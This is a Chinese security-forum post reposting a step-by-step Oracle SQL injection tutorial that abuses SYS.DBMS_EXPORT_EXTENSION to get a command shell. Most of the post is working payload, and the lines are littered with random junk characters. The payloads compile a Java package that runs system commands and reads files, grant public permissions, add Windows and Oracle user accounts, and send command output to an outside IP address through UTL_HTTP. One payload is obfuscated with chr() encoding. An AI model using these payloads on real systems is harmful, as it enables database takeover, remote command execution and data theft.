找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2498|回复: 0
打印 上一主题 下一主题

实例演示oracle注入获取cmdshell的全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-18 12:21:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
3 a! ?0 q! A' ^& e8 _) I
3 F+ f5 |/ `6 _- _8 o/ z1 e  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) 4 t, N7 S3 n, ~  v" N
的形式即可。(用" 'a'|| "是为了让语句返回true值)
& L# j! w. B- S1 Z' |5 g+ s语句有点长,可能要用post提交。 ! A1 d  }' G6 t6 y1 f
以下是各个步骤:
. Z  [# l8 S% Y/ _1.创建包 & Z# G# w5 H3 a+ u
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:) U5 Z. U9 w; {+ L& [- B: Z
/xxx.jsp?id=1 and '1'<>'a'||(
( g0 j3 u( B5 F) r# T1 |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! Y3 v! E5 I; t+ S3 g) k
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
" @) A. w# r' j1 U* cnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
* c/ ~/ J4 `% l}'''';END;'';END;--','SYS',0,'1',0) from dual ( J$ H; `0 w3 }* ~& }
)
. v0 ]! ?3 {) X! z% w9 ~6 i# Y5 R) a------------------------
0 i9 f' H% s. y6 U3 W如果url有长度限制,可以把readFile()函数块去掉,即: 1 j  S" \2 f$ `- m7 ]& l: X4 U
/xxx.jsp?id=1 and '1'<>'a'||(
: G9 d; ^, Y( e  O8 ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ i: R' l8 T1 D. ~3 a% r
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(0 E$ f, P7 n0 U# C4 I
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
; f3 Y, {+ ?9 _! s}'''';END;'';END;--','SYS',0,'1',0) from dual 8 `$ a9 R0 G# G! o$ Z
)
, e: Z0 g* C  V+ K  W% _. e同时把后面步骤 提到的 对readFile()的处理语句去掉。
( ?. J' D# v4 O1 A. ?, m------------------------------
, ?$ `7 H' u$ t; L2.赋Java权限
& h% m% @2 c9 O! e- ?; U( b* vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual  ?3 n5 [% t! [8 V  [
3.创建函数
# h4 _* @$ q0 Z. q$ V. \' Uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ d* W: U; V4 E2 q* j& t
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
+ u% h/ ?/ ?: F0 y: oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 R  S4 [8 ?# \9 D: W
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
. P* d, d; g. o1 X( _4.赋public执行函数的权限 $ c, l) [  f6 m5 [
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
  f6 E9 \( d" f# o% _- d& yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
4 @* J$ J0 e4 {  w8 L5.测试上面的几步是否成功
1 {6 g$ v: P4 |7 G$ m: hand '1'<>'11'||(
0 j( q. n/ ~% B  L' {* `" Hselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD' : V. x2 ^0 s" p/ C
) 3 K; ]6 b3 F2 U
and '1'<>(
$ ~, W6 W+ g, R/ `  ?, oselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'   J8 ~6 c, o9 j* H
)
3 E  S% S1 f' B, z; u6.执行命令:
" \( ?! M3 z8 t6 w% A, n, d/xxx.jsp?id=1 and '1'<>(
/ F/ G- `( I* T$ B( G; n( dselect  sys.LinxRunCMD('cmd /c net user linx /add') from dual
( a, h* V  r+ o8 @5 U, \- p. l% I! l1 t* |
)
& |- q, F9 f8 d% @& I/xxx.jsp?id=1 and '1'<>( 5 n' V5 r. J8 q3 g4 u# b
select  sys.LinxReadFile('c:/boot.ini') from dual
- u/ h+ U* Q2 D2 M0 t" p
3 s) n( Z) p! b3 P)
: [: A( O/ W: L7 O  3 @$ _* w1 A' d
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
& k- q2 ?6 j3 ]2 E1 ?+ Z如果要查看运行结果可以用 union :
. Q* b5 a5 _. ]% X0 J/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
# d/ p$ P' i: I/ V" P1 i或者UTL_HTTP.request(:
7 C( l/ U$ Y) y! `2 v  i. t( J/xxx.jsp?id=1 and '1'<>( 6 V( p4 x' L1 n6 k5 v( {
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
0 b0 p7 M6 C' g  }# u& v" O8 g)
2 s! f5 ]/ q+ ~. d& M/xxx.jsp?id=1 and '1'<>(
* S( @. B& u/ PSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
' j# ^0 }& x6 }. f% n" i- N8 K) # a/ C- {3 b! I' c6 W
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。# b. C- u0 I2 M# e
--------------------
6 p% y4 Y5 V( [& h0 D6.内部变化 6 |3 y6 a. M/ ^  |# ]
通过以下命令可以查看all_objects表达改变:
6 }" o2 q" w  N3 Mselect  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
4 r7 J3 v, m) X) f  K7.删除我们创建的函数 - o7 ^) {+ ?  [
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 E; q, y, Z9 Q8 S" r* U
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
' ?/ C; x2 v" f====================================================
- ]6 u7 C4 v8 e7 i$ C9 Y) o* ]6 w全文结束。谨以此文赠与我的朋友。 9 `% r: v3 N8 q# g( g0 p% C
linx
% w8 a) c% E! e. K2 n124829445 - ?1 v7 @2 l2 F+ ~7 j2 l7 z/ t9 ^$ Y
2008.1.12 + I, f4 c" Q6 N1 m
linyujian@bjfu.edu.cn
. x+ `3 B0 R9 R0 e======================================================================
! b! F7 I+ Y5 V测试漏洞的另一方法: $ ?/ \0 o$ v- V3 ~
创建oracle帐号: , }4 e9 N) X# {5 v- w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% G  ~( K& @/ B& I  [CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
& u- _1 r! Q. @/ s- M1 Q! }即:
  K# L2 F" l+ U  m' E1 a' zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
2 t, Q4 `8 A1 [" M* echr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
* x$ w0 B% e& j, n- c" y% C" w2 s确定漏洞存在: 2 Q+ U8 i# ?+ K- V4 ]
1<>(
' t7 a1 k  x, J% E3 a5 _9 h2 |select user_id from all_users where username='LINXSQL'
, w, D) y9 ?7 J1 W  E7 `) @)
1 }1 L$ ~5 l5 {# C) A6 P给linxsql连接权限: , P6 k4 \! F! h& Q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" q6 q/ d, _/ G1 @. O6 a4 H
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual ! d4 x; v) b8 c( n+ |5 J( k; t5 q, ?
删除帐号: . ~( u3 a$ Q( X. l( ~. s
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( ]3 a8 ~3 ]! w! {drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
! N# d, P9 r) p. H# C====================== 6 S* L, n3 h' F' @% D: |
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
* W( g. N- H; N1.jsp?id=1 and '1'<>( 9 }. z$ ^: D4 |$ U1 F
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''1 p1 X" o, k. a  @" k( Y
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual3 r4 O+ r3 d( X8 M. n
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
0 l2 Y0 Y: Z7 x: l: K# Q) \% P ). \& `) f9 |7 o8 ]# \: A

7 \& @8 i$ _7 i1 f$ ?6 j# U
5 v5 h3 P# n, M% A! ^0 [5 f* @
3 I4 e; U3 L( H! {. u# E. y8 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表